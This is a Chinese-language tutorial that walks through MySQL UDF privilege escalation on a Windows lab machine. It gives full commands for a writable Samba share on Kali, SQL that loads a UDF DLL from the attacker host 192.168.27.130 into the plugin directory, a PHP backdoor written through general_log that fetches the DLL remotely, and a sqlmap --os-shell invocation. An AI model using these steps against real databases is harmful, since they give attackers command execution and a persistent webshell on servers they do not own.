UDF提权
kali 中文件位置 /usr/share/metasploit-framework/data/exploits/mysql
首先先要破解得到靶机的数据库密码。使用kali连接后。查看一些必要的属性
查看插件路径 show variables like "%plugin%";
看到了插件目录了。我们来看看我们能通过什么方式将UDF插件放到这个目录中。
可以看到我们现在有两种选择。
- 使用dumpfile直接输出。简单暴力
- 使用查询日志记录来生成php文件。php文件再往那个目录中写入。
第一种方式:
思路:
我们先配置一下samba。让kali能够共享文件。把UDF文件复制到共享文件夹中。接着在靶机中使用load_file加载网络地址的udf文件,并dumpfile输出到那个目录中
操作:
mkdir /udf
chmod 777 -R /udf/
vi /etc/samba/smb.conf
文件最后加上
[udf]
path = /udf
available = yes
browseable = yes
public = yes
writable = yes
重启samba服务
service smbd restart
复制UDF文件到共享文件夹中。
我们在靶机中测试一下是否联通
我们在Mysql中执行语句
select load_file('\\\\192.168.27.130\\udf\\lib_mysqludf_sys_64.dll') into dumpfile “C:\\web\\mysql\\lib\\plugin\\udf.dll”
成功执行了。
接着我们来创建函数试一试。
create function sys_eval returns string soname ‘udf.dll’
发现它无法打开udf.dll这个文件。。。这是什么情况。。。难道这个文件是坏的?
思来想去,还查了百度。都不得其解。
后来突发奇想。是不是版本位数的问题?
赶紧在mysql控制台中输入命令
show variables like “%version%”;
醒目的Win32映入眼帘。原来真是位数错了。我当时传的是64位的。怪不得无法识别。
(所以查看好版本和环境很重要啊!
重新上传一个32位的即可。
接着创建函数。如果创建时显示No Database Select就use一个数据库即可
create function sys_eval returns string soname ‘udf2.dll’;
成功Get WebShell
接着我们将这些文件删除。以免影响后续实验。
第二种方式:
思路:
假设secure_file_priv关闭了。那么我们只能通过general_log来生成一个PHP文件。这个PHP文件代码就是往plugin目录写入udf提权文件。
注意:因为general_log生成的不全是查询语句。还有其他它自己生成的一些说明性文字。所以不适合直接输出到plugin中。
general_log文件样品:
set global general_log = ‘on’
set global general_log_file = ‘C:\web\apache\htdocs\udf.php’
这个路径是我们访问网址时能访问到的路径。以便能成功执行我们的后门php
键入我们的select语句
select “<?php $a=fopen('\\\\192.168.27.130\udf\lib_mysqludf_sys_32.dll','r');file_put_contents('C:\web\mysql\lib\plugin\udf3.dll',fread($a,filesize('\\\\192.168.27.130\udf\lib_mysqludf_sys_32.dll'))); ?>”
展开来其实是这样。即先加载我们的共享文件夹里面的udf文件。然后再写入到plugin目录中。
浏览器访问
这些字符串只是生成的文件中自己产生的内容。不必在意。
产生的udf.php内容如下:
接着我们create function测试一下
成功Get WebShell
以上就是手工的方式进行UDF提权。其实还可以使用sqlmap这个脚本进行自动化提权
sqlmap:
sqlmap -d “mysql://root:[email protected]:3306/test” --os-shell
这里mysql://说明是使用mysql进行连接
root是用户名
123456即密码
192.168.27.131是地址
3306即端口
test就是数据库。要选一个数据库
--os-shell就是使用udf提权获取WebShell了
出现这个提问选择对应的位数即可
脚本跑好后会出现os-shell的提示符。就可以输入命令了。输完命令之后的提问是问是否要将回显结果显示出来。
如果有兴趣可以看看这个UDF文件的源码
https://github.com/sqlmapproject/udfhack